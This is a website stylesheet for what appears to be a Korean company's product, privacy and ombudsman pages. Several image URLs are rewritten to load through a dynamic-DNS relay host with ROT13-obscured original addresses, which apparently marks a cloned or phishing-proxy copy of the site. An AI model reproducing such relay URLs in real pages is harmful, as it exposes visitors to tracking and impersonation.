.sub3_1_5  .btn_download_wrap a {display:inline-block; margin:0 0 10px 10px; background:#fff; padding:10px 18px; border:1px solid #777; border-radius:5px; box-shadow:0 1px 2px rgba(0,0,0,0.1); font-weight:500;}
.sub3_1_5  .btn_download_wrap a i {display:inline-block; width:16px; height:16px; background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Svzt.rgarjf.pbz%2S2024%2Srgarjf%2Svzntrf%2Sqbjaybnq.fit') no-repeat center center; margin-left:5px; opacity: .8;}
.sub3_1_5  .btn_download_wrap a:hover {text-decoration:none; border:1px solid #d91b5c; box-shadow:inset 0 1px 4px rgba(0,0,0,0.1); color:#d91b5c;}
.sub3_1_5  .btn_download_wrap a:hover i {filter: invert(14%) sepia(98%) saturate(3808%) hue-rotate(329deg) brightness(100%) contrast(88%);}

.sub3_1_5 .text {background: #fff; border-radius:10px; padding:40px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); margin-bottom:40px;}
.sub3_1_5 .text h3 {font-size:1.333333em; color: #d91b5c; margin-bottom:20px;}
.sub3_1_5 .text p {margin-top:10px; line-height: 1.6em; }

.sub3_1_5 .benefit {background: #fff; border-radius:10px; padding:40px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); overflow:hidden; position:relative;}
.sub3_1_5 .benefit h3 {font-size:1.333333em; background:#222; color:#fff; display:inline-block; padding:10px 20px; border-radius:5px; margin-bottom:20px;}
.sub3_1_5 .benefit li {padding:20px 0; border-bottom:1px dashed #ddd;}
.sub3_1_5 .benefit li:last-child {border:none; padding-bottom:0;}
.sub3_1_5 .benefit dl {width:60%;}
.sub3_1_5 .benefit dl .subcopy {display:inline-block; font-weight:500; margin-bottom:15px;}
.sub3_1_5 .benefit dl .subcopy em {margin-right:5px; font-style:normal; font-size:0.888888em; width:22px; height:22px; border-radius:100%; color:#fff; background:#084eab; display:inline-block; text-align:center; vertical-align: top; padding:2px;}
.sub3_1_5 .benefit dt {font-size:1.333333em; font-weight:600; color:#084eab; margin-bottom:15px;}
.sub3_1_5 .benefit dd {margin-bottom:10px;}
.sub3_1_5 .benefit dd span {display:inline-block; color:#444; margin-right:12px; font-size:0.888888em;}
.sub3_1_5 .benefit dd span::before {content:''; display:inline-block; width:4px; height:4px; background-color:#aaa; margin-right:6px; margin-bottom:4px;}

.sub3_1_5 .benefit_pic figure {position:absolute; max-width:300px; z-index:1; border:1px solid rgba(0,0,0,0.1); box-shadow:0 2px 10px rgba(0,0,0,0.2);}
.sub3_1_5 .benefit_pic figure img {width:100%;}
.sub3_1_5 .benefit_pic figure:nth-child(1) {height:400px; bottom:-20px; right:-50px; transform:rotate(-10deg);}
.sub3_1_5 .benefit_pic figure:nth-child(2) {height:130px; bottom:110px; right:80px; transform:rotate(10deg);}
.sub3_1_5 .benefit_pic figure:nth-child(3) {height:275px; top:80px; right:0px; transform:rotate(5deg);}
.sub3_1_5 .benefit_pic figure:nth-child(4) {height:275px; top:310px; right:60px; transform:rotate(-15deg);}

.sub3_2 ul {column-gap:20px; margin:40px auto;}
.sub3_2 li {width:33.333333%; border: 1px solid rgba(0,0,0,0.1); background: #fff; box-shadow: 0 5px 10px rgba(0,0,0,0.1); border-radius: 10px;
 padding-bottom:10px;}
.sub3_2 li strong {display:block; margin-bottom:20px; padding:20px; background:#444; color:#fff; border-radius:10px 10px 0 0; line-height:1em; text-align:center;}
.sub3_2 li p {padding:0 20px 0 100px; margin-bottom:10px; position: relative; word-break: break-all;}
.sub3_2 li p em {font-weight:600; font-style:normal; width:85px; display:inline-block; position:absolute; left:20px;}
.sub3_2 li p b {font-weight:500;}
.sub3_2 li:hover strong {background-color: #d91b5c;}

.sub3_3 h3 {color:#d91b5c; font-size:0.888888em; margin-bottom:10px;}
.sub3_3 h4 {display: block; font-size: 1.333333em; font-weight: 500; margin-bottom: 15px;}
.sub3_3 > div {margin-bottom:60px;}
.sub3_3 .bnr_pc .pc_info {margin-bottom:40px; display:flex; column-gap:40px;}
.sub3_3 .bnr_pc .pc_info:last-child {margin-bottom:0;}
.sub3_3 .bnr_pc .pc_info figure {width:55%;}
.sub3_3 .bnr_seat {width:45%; padding-top:28px;}
.sub3_3 .table_wrap {padding:10px 20px; border:1px solid rgba(0,0,0,0.1); background:#fff; box-shadow:0 5px 10px rgba(0,0,0,0.1); margin-bottom:40px; border-radius:10px;}
.sub3_3 .table_wrap table {width:100%;}
.sub3_3 .table_wrap tr:last-child {border:none;}
.sub3_3 .table_wrap caption {font-weight:bold; text-align:left; margin:20px 0;}
.sub3_3 .table_wrap th {width:30%; text-align: justify; justify-content: space-between; padding:12px 0;}
.sub3_3 .table_wrap td {width:70%; word-break:break-word; padding:12px 0;}
.sub3_3  .bnr_email {background-color:#eee; padding:40px 0; margin-bottom:60px; } 
.sub3_3  .bnr_email .wrap {column-gap:40px;}
.sub3_3 .email_info {width:50%; position:relative;}
.sub3_3 .email_info .table_wrap {position:absolute; width:80%; top:40%; left:10%; right:10%; border:1px solid rgba(0,0,0,0.5); box-shadow:0 2px 10px rgba(0,0,0,0.4);}
.sub3_3 .email_info .fig_body img {opacity:.9;}
.sub3_3 .fig_head {background:#666; border-radius: 10px 10px 0 0; text-align:right; height:28px;}
.sub3_3 .fig_head img {height:10px; margin-right:10px;}
.sub3_3 .fig_body {padding:0 10px; background:#fff; box-shadow: 0 10px 20px rgba(0,0,0,0.2);}
.sub3_3 .fig_body img {width:100%;}
.sub3_3 .bnr_tips ul {width:50%; }
.sub3_3 .bnr_tips ul li {margin-bottom:8px; position:relative; padding:0 14px; word-break:break-word; font-size:0.888888em;}
.sub3_3 .bnr_tips ul li::before {content:''; display:inline-block; width:4px; height:4px; background:#777; position:absolute; left:0; top:10px;}
.sub3_3 .bnr_inquiry .wrap {padding:20px 40px; background-color: #eee; border-radius:10px;} 
.sub3_3 .bnr_inquiry h3 {padding:0;}
.sub3_3 .bnr_inquiry ul {column-gap:20px;}
.sub3_3 .bnr_inquiry li {text-align:center; padding:20px; flex:1 1 22%; border:1px solid rgba(0,0,0,0.1); background:#fff; box-shadow: 0 5px 10px rgba(0,0,0,0.1); border-radius: 10px;}
.sub3_3 .bnr_inquiry li:first-child {margin-left:0;}
.sub3_3 .bnr_inquiry li strong {display:block; margin-bottom:8px;}
.sub3_3 .bnr_inquiry li a {display:block; margin-bottom:4px; word-break:break-all; font-size:0.888888em;}
.sub3_3 .bnr_inquiry .count2 li {width:50%;}

.how_wrap {text-align:left; line-height:1.6em; font-weight:400; text-align:justify;}
.how_wrap .text_title {margin-bottom:10px;}
.text_title h4 {display: block; font-size: 1.333333em; font-weight:500; margin-bottom:10px;}
.text_title span {font-weight:400; color:#666; border-bottom:1px solid rgba(0,0,0,0.1);}
.how_wrap h3 {text-align:center;}
.how_wrap dl {margin-bottom:60px;}
.how_wrap dt {background:#444; color:#fff; padding:10px 20px; margin:20px 0; font-weight:bold; border-radius:5px; box-shadow:inset 0 1px 4px rgba(0,0,0,0.1)}
.how_wrap dd {margin-bottom:20px; font-size:0.888888em; }
.how_wrap dd strong {display:block;}
.how_wrap dd strong, .how_wrap dd p, .how_wrap dd li {margin-bottom:5px;}
.how_wrap .deps3 li {color:#444; margin:2px 20px; line-height:1.4em;}
.how_wrap dd + dt {margin:60px 0 20px;}

.privacy_wrap .bg_gray {border:1px solid rgba(0,0,0,0.1); padding:20px; margin-bottom:40px; background-color:#eee; font-size:0.888888em;} 
.privacy_wrap table {margin:10px 0 20px; width:100%;}
.privacy_wrap table th, .privacy_wrap table td {border:1px solid rgba(0,0,0,0.1); padding:20px; line-height:1.4em; font-size:0.888888em; vertical-align:middle; width:auto; display:table-cell;}
.privacy_wrap table th {width:20%;text-align:center; background:#f4f6f9; word-break:keep-all; }
.privacy_wrap table td span {display:block; font-weight:500; margin-bottom:2px;}
.privacy_wrap dd {margin-bottom:40px;}

.ombudsman_wrap  .text_title {padding-bottom:10px;}
.ombudsman_wrap dd {margin-bottom:40px;}
.ombudsman_wrap dd .bg_gray {padding:20px; border:1px solid rgba(0,0,0,0.1); margin-top:10px; background-color:#eee;}
.ombudsman_wrap .ombuds_result {background:#444; color:#fff; margin-bottom:0; padding:10px; font-weight:bold; border-radius:5px; cursor:pointer;}
.ombudsman_wrap .ombuds_result:hover {background:#444;}
.ombudsman_wrap .ombuds_result + ol {background:#f4f6f9; padding:20px;}
.ombudsman_wrap .ombuds_result + ol li {border-top:1px dashed rgba(0,0,0,0.2); padding:20px 0; margin:0;}
.ombudsman_wrap .ombuds_result + ol li:first-child {border:0; padding-top:0;}
.ombudsman_wrap .ombuds_result + ol li:last-child {padding-bottom:0;}
.ombudsman_wrap .btn_filedownload {display:inline-block; line-height:1em; border-radius:5px; margin:0 0 0 5px; padding:8px 12px 8px 8px; border:1px solid rgba(0,0,0,0.4); box-shadow:1px 1px 1px rgba(0,0,0,0.1);}
.ombudsman_wrap .btn_filedownload:hover {background:#444; color:#fff; text-decoration:none;}
.ombudsman_wrap .btn_filedownload svg { margin-left:2px; height:13px; width:auto; fill:#444;}
.ombudsman_wrap .btn_filedownload:hover svg {fill:#fff;}

/* IMC상품안내 추가 :: 250212 */
.sub3_3_3 > div {min-height:400px;}
.sub3_3_3 > div:first-child {margin-top:-60px; padding-top:70px;}
.sub3_3_3 h3 {font-size:2em; margin-bottom:20px; word-break:keep-all;}
.sub3_3_3 h4 {font-size:1.5em; margin-bottom:20px; word-break:keep-all;}
.sub3_3_3 .frontier {min-height:auto; background-color:#efefef; padding-bottom:40px;}
.sub3_3_3 .frontier h3 {text-align:center; padding:0 20px;}
.sub3_3_3 .frontier .wrap {background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Svzt.rgarjf.pbz%2S2024%2Spbzcnal%2Svzntrf%2Svzt_sebagvre2.cat')no-repeat left top; background-size:cover; min-height:300px; border-radius:15px;}
.sub3_3_3 .frontier .text {padding:40px 0; font-size:1em; word-break:keep-all; }
.sub3_3_3 .frontier .text strong {font-size:1.5em; font-weight:900; letter-spacing:-0.02em; margin:10px 0; display:block; text-shadow: 0 0 10px rgba(255,255,255,.8); }
.sub3_3_3 .frontier .text strong span {font-weight:500;}
.sub3_3_3 .frontier .btn_download {margin:10px 0 0;}
.sub3_3_3 .marketing_list {text-align:center; background-color:#f5f5f5; padding:60px 0;}
.sub3_3_3 .marketing_list ul {display:flex; flex-wrap: wrap; gap:20px; width:100%; justify-content:space-between; margin:40px 0;}
.sub3_3_3 .marketing_list li {background-color: #fff; width:calc(25% - 15px); border-radius:15px; padding:20px; box-shadow:0 8px 25px rgba(0,0,0,0.05);}
.sub3_3_3 .marketing_list li figure {background-color:#f5f5f5; padding:15px; border-radius:10px; margin-bottom:15px;}
.sub3_3_3 .marketing_list li img {width:110px; opacity: .85;}
.sub3_3_3 .marketing_list li strong {font-size:1.111112em;}
.sub3_3_3 .marketing_list li p {color:#888; font-size:0.833333em; margin-top:5px; font-weight:300;}
.sub3_3_3 .btn_download {display:inline-block; background-color: #222; color:#fff; border-radius:10px; padding:20px 28px; font-weight:700;}
.sub3_3_3 .btn_download img {width:18px; margin-left:6px; }
.sub3_3_3 .btn_download > * {vertical-align:middle;}
.sub3_3_3 .btn_download:hover {background-color:#111; text-decoration:none;}
.sub3_3_3 .product_list {padding:40px 0;}
.sub3_3_3 .product_list li.flex {padding:40px 0; column-gap:40px; flex-wrap:wrap; align-items:center;}
.sub3_3_3 .product_list .text {width:50%; word-break:keep-all;}
.sub3_3_3 .product_list .text p {font-size:0.888888em; margin-bottom:20px;}
.sub3_3_3 .product_list .text ol li {font-size:0.888888em; position:relative; padding-left:10px; margin-bottom:5px;}
.sub3_3_3 .product_list .text ol li::before {content:''; width:4px; height:4px; background-color:#444; display: inline-block; position:absolute; left:0; top:7px;}
.sub3_3_3 .product_list figure {width:calc(50% - 40px); border-radius:15px; overflow: hidden; padding:20px 20px 0;}
.sub3_3_3 .product_list figure img {width:100%; height:auto;}
.sub3_3_3 .product_list .product1 figure {background-color:#DFEEF5;}
.sub3_3_3 .product_list .product2 figure {background-color:#DFF5F4;}
.sub3_3_3 .product_list .product3 figure {padding:0;}
.sub3_3_3 .product_list .product4 figure {background:#DFE8F6 url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Svzt.rgarjf.pbz%2S2024%2Spbzcnal%2Svzntrf%2Svzt_fho3_3_3_cebqhpg4.cat') no-repeat left top;  padding:20px; position: relative; min-height:300px; background-size: cover;}
.sub3_3_3 .product_list .product4 figure span {position:absolute; top:50%; left:50%; transform:translateX(-50%) translateY(-50%);}
.sub3_3_3 .product_list .product4 figure > div {position:absolute; display:block; width:200px; height:200px; border-radius:200px; top:50%; transform:translateY(-50%);box-shadow:0 2px 6px rgba(0,0,0,0.1); text-align:center; font-weight:700; font-size:1.111112; color:#333; }
.sub3_3_3 .product_list .product4 .circle1 { background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Svzt.rgarjf.pbz%2S2024%2Spbzcnal%2Svzntrf%2Svzt_fho3_3_3_cebqhpg4_1.cat') no-repeat; background-size:200px; left:35px;  transition:all .5s ease; }
.sub3_3_3 .product_list .product4 .circle2 {background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Svzt.rgarjf.pbz%2S2024%2Spbzcnal%2Svzntrf%2Svzt_fho3_3_3_cebqhpg4_2.cat') no-repeat; background-size:200px; right:35px;  transition:all .5s ease; mix-blend-mode: darken;}
.sub3_3_3 .product_list .product4 .active.circle1 {left:60px;}
.sub3_3_3 .product_list .product4 .active.circle2 {right:60px;}
.sub3_3_3 .product_list .product5 figure {background-color:#DFEEF5; padding:0;}
.sub3_3_3 .product_list .category {font-size:0.777778em; color: #d91b5c; text-decoration:underline; margin-bottom:5px; display: block; display:none;}
.sub3_3_3 .product_list .btn_download {margin-top:20px; margin-right:10px; font-size:0.888888em; padding:18px 26px;}
.sub3_3_3 .product_list .btn_download + a {margin-top:15px;}
.sub3_3_3 .product_list .btn_download:last-child {margin-right:0;}
.sub3_3_3 .about {min-height:auto; padding:40px 0 60px; border-radius:10px; background-color: #f5f5f5;  margin-bottom:-80px;} 
.sub3_3_3 .about h3 {text-align:center;}
.sub3_3_3 .about ul {gap:20px; flex-wrap:wrap; }
.sub3_3_3 .about li {flex:1 1 18%; text-align:center; padding:30px 20px; border:1px solid rgba(0,0,0,0.1); background:#fff; box-shadow: 0 4px 10px rgba(0,0,0,0.05); border-radius: 10px;}
.sub3_3_3 .about li strong {display:block; margin-bottom:8px;}
.sub3_3_3 .about li a {display:block; margin-bottom:4px; word-break:break-all; font-size:0.888888em;}
.sub3_3_3 .about .count2 li {width:50%;}
.sub3_3_3 .about2 {background:#f1f6ff; margin-bottom:0; border-bottom:1px solid rgba(0,0,0,0.05);}


/* footer */
footer {padding:30px 0; text-align:center; border-top:1px solid #ddd; font-size:0.777777em; color:#444; background-color:#eee; box-shadow:0 1px 10px rgba(0,0,0,0.06);}
.copyright {margin-top:5px; font-weight:300;}
footer .go_top {display: inline-block; width:44px; height:44px; border-radius:100%; position: fixed; z-index:2; bottom:50px; right:50px; cursor: pointer; border:1px solid rgba(0,0,0,0.15); background-color:#fff; box-shadow:0 1px 1px rgba(0,0,0,0.1);}
footer .go_top img {transform: rotate(-90deg); width:12px; opacity:.6; margin-top:-4px;}
footer .go_top:hover {border:1px solid rgba(0,0,0,0.2); background-color:#fff; box-shadow:inset 0 1px 2px rgba(0,0,0,0.1);}
footer .go_top:hover img {opacity:.9;}

/* 모달 */
#dialog {display: none;}
.ui-widget-overlay {position: fixed; top: 0;left: 0;width: 100%; height: 100%;}
.ui-widget-overlay {background:rgba(0,0,0,0.7); -ms-filter: Alpha(Opacity=70); }
.ui-widget-shadow {-webkit-box-shadow: -8px -8px 8px #aaaaaa;box-shadow: -8px -8px 8px #aaaaaa;}
.ui-dialog {background:#fff; z-index:8; padding:40px 30px 30px; border-radius:10px; max-width:1100px; line-height:1.4em; min-width:800px;}
.ui-dialog strong {display:block; margin-bottom:20px;}
.ui-dialog p {margin-bottom:10px; font-size:0.888888em;}
.ui-dialog-buttonset .ui-button {background-color: #d91b5c; color:#fff; font-weight:500; padding:15px; width:100%; border-radius:5px; margin-top:20px;}
.ui-dialog-titlebar-close {font-size:0;}
.ui-dialog-titlebar {position:absolute; right:15px; top:15px;}
.ui-icon-closethick {display:inline-block; width:22px; height:22px; background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Svzt.rgarjf.pbz%2S2024%2Srgarjf%2Svzntrf%2Serzbir_guva.fit') no-repeat;}



@media screen and (max-width:1140px) {
  header nav ul {display:none;}
  header .btn_fullmenu {display:block;}
  .main_visual .text {top:48%;}
  .main_contents {position:relative;}
  .sub1_2 figure img {content:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Svzt.rgarjf.pbz%2S2024%2Spbzcnal%2Svzntrf%2Svzt_fho1_3_z.cat');}
  .sub1_2 figure {display:block; max-width:400px; margin:0 auto;}
  .sub_contents .sub1_2 li {position:relative; width:100%; right:auto; top:auto; margin-bottom:20px;}
  .root_daum_roughmap {width:100% !important;}

  .sub3_3_3 .frontier .wrap {width:calc(100% - 40px);}
  .sub3_3_3 .product_list li.flex {display:block;}
  .sub3_3_3 .product_list .text {width:100%; text-align: center;}
  .sub3_3_3 .product_list .text ol li::before {left:auto; margin-left:-12px;}
  .sub3_3_3 .product_list figure {width:100%; min-width:280px; max-width:480px; margin:40px auto 0;}
  .sub3_3_3 .product_list .product4 .active.circle1 {left:calc(50% - 180px);}
  .sub3_3_3 .product_list .product4 .active.circle2 {right:calc(50% - 180px);}

  .sub3_3_3 .product_list .btn_download {margin:20px 5px 0;}
  .sub3_3_3 .product_list .btn_download + a {margin-top:15px;}
  .sub3_3_3 .product_list .btn_download:last-child {margin:15px 5px 10px;}
}

@media screen and (max-width:840px) {
  .wrap {padding-left:20px; padding-right:20px;}
  .main_visual .text p {font-size:1em;}
  .main_visual .text h2 {font-size:2em;}
  .main_contents .flex {display:block;}
  .main_contents li {width:100%; margin-bottom:20px;}
  .sub_visual h2 {font-size:2em;}
  .sub_visual .submenubar {padding:10px 20px;}
  .breadcrumb {display:none;}
  .sub_contents .sub1_1_1 {display:block;}
  .sub_contents .sub1_1_1 .text, .sub_contents .sub1_1_1 .img_ceo {width:100%; word-break: break-all;}
  .sub_contents {padding:60px 0;}
  .sub1_3 li {display:block;}
  .sub1_3 li .date {padding-left:40px; margin-top:20px;}
  .sub1_5 li {display:block;}
  .sub1_5 li figure {width:100%; margin-bottom:30px;}
  .sub1_5 li .text {width:100%;}
  .tab button {width:50%; border:1px solid rgba(0,0,0,0.2); border-top:none;}
  .tab button:nth-child(1), .tab button:nth-child(2) {border-top:1px solid rgba(0,0,0,0.2);}
  .tab button:nth-child(1), .tab button:nth-child(3) {border-right:none;}
  .sub2_4 .thumbtext li {display:block;}
  .sub2_4 .thumbtext li .text {margin-top:10px;}
  .sub2_4 .thumbtext li {margin-bottom:40px;}
  .sub3_1_1 ul {display:block;}
  .sub3_1_1 ul li {width:100%; margin-bottom:10px; display:flex; align-items:center;}
  .sub3_1_1 ul strong::before {display:none;}
  .sub3_1_1 ul p {padding-left:20px;}
  .sub3_1_1 ol {display:block;}
  .sub3_1_1 ol li {width:100%; margin-bottom:10px;}
  .sub3_1_2 li {display:block; padding-bottom:0; border-bottom:0;}
  .sub3_1_2 li figure {width:100%;}
  .sub3_1_2 li table {width:100%;}
  .sub3_1_2 table th, .sub3_1_2 table td {display:table-cell; padding:15px 0;}
  .sub3_1_5 .benefit dl {width:100%;}
  .sub3_1_5 .benefit_pic {position:relative; height:350px;}
  .sub3_1_5 .benefit_pic figure:nth-child(1) {left:-50px; bottom:-100px; right:auto;}
  .sub3_1_5 .benefit_pic figure:nth-child(2) {left:80px; bottom:70px; right:auto;}
  .sub3_1_5 .benefit_pic figure:nth-child(3) {top:80px; right:-20px; bottom:auto;}
  .sub3_1_5 .benefit_pic figure:nth-child(4) {right:60px; top:200px; bottom:auto;}
  .sub3_2 ul {display:block;}
  .sub3_2 li {width:100%; margin-bottom:20px;}
  .sub3_2 li p {text-align:center; padding:0 20px;}
  .sub3_2 li p em {position:inherit; width:auto; margin-right:20px; left:auto;}
  .sub3_2 li p br {display:inline-block;}
  .sub3_3 .bnr_pc .pc_info {display:block;}
  .sub3_3 .bnr_email .wrap {display:block;}
  .sub3_3 .bnr_pc .pc_info figure {width:100%;}
  .sub3_3 .bnr_seat {width:100%; margin-top:-50px;}
  .sub3_3 .table_wrap {width:94%; margin-left:3%; border:1px solid rgba(0,0,0,0.5);}
  .sub3_3 .bnr_email {padding:40px 0 20px;}
  .sub3_3 .email_info {width:100%; margin-bottom:40px;}
  .sub3_3 .email_info .table_wrap {margin:0;}
  .sub3_3 .bnr_tips ul {width:100%;}
  .sub3_3 .bnr_inquiry ul {display:block;}
  .sub3_3 .bnr_inquiry li {width:100%; margin-left:0; margin-top:10px;}
  .sub3_3 .bnr_inquiry li:first-child {margin-top:20px;}
  .sub3_3 .bnr_inquiry li a {display:inline-block; margin:0 8px 4px;}
  .sub3_3 .bnr_inquiry .count2 li {width:100%;}
  .sub3_3 .table_wrap {margin-bottom:10px;}
  .sub3_3 .bnr_tips .wrap  {display:block;}
  .sub3_3 .table_wrap th, .sub3_3 .table_wrap td {display:table-cell;}
  .sub3_3_3 .marketing_list li {width:calc(50% - 10px);}
  .sub3_3_3 .about li {flex:1 1 100%; }
  .sub3_3_3 .about li a {display:inline-block; margin:0 8px 4px;}
  .ui-dialog {min-width:auto;}
}

@media screen and (max-width:600px) {
  .main_visual .text h2 {font-size:1.333333em;} 
  .sub1_1_2 li {display:block;}
  .sub1_1_2 li figure,  .sub1_1_2 li .text {width:100%;}
  .sub1_1_2 figure {margin-top:20px;}
  .sub1_1_2 .et_mission {background:none;}
  .sub1_1_2 .et_mission figure {width:100%; grid-column: 1 / span 2;  grid-row: 2 / 3; }
  .sub1_1_2 .et_mission .text {width:100%; grid-column: 1 / span 2;  grid-row: 1 / 2; padding:0; }
  .sub_contents th {display:block; width:100%; padding:15px 0 5px;}
  .sub_contents td {display:block; width:100%; padding:5px 0 15px;}
  .sub2_1 .cs_wrap td {width:100%;}
  .sub3_1_4 {display:block;}
  .sub3_1_4 figure {margin:0 auto 20px;}
  .sub3_1_4 ul {width:100%;}
  .sub3_1_4 li {display:block; border:none; padding:0;}
  .sub3_1_4 li p {width:100%; display:block; padding:10px 0;}
  .sub2_1 .cs_wrap tr {border:none;}
  .sub1_5 li .text {width:100%; padding:0;}
  .sub1_5 li .text em {position:relative; display:block; margin-bottom:10px;}
  .sub3_1_5 .text_title {display: block;}
  .sub3_1_5 .text_title figure {max-width:320px; margin:0 auto 20px; width:100%;}
  .sub3_1_5 .btn_download_wrap {text-align:center;}
  .sub1_1_2 li .text strong {font-size:1.333333em;}

  .sub3_3_3 .marketing_list li {width:100%;}
  .sub3_3_3 .marketing_list {display:none;}
  .sub3_3_3 .product_list li.product1 {padding-top:20px;}
  
}

@media screen and (max-width:400px) {
  .sub3_3_3 .frontier .wrap {width:100%; border-radius:0;}
  .sub3_3_3 .frontier .text {text-align:center;}
  .sub3_3_3 .product_list .product4 figure {min-width:100%; min-height:280px;}
  .sub3_3_3 .product_list .product4 .circle1, .sub3_3_3 .product_list .product4 .circle2 {width:150px; height:150px; background-size:150px;}
  .sub3_3_3 .product_list .product4 .circle1 {left:1%;}
  .sub3_3_3 .product_list .product4 .circle2 {right:1%;}
  .sub3_3_3 .product_list .product4 .active.circle1 {left:8%;}
  .sub3_3_3 .product_list .product4 .active.circle2 {right:8%;}
  
}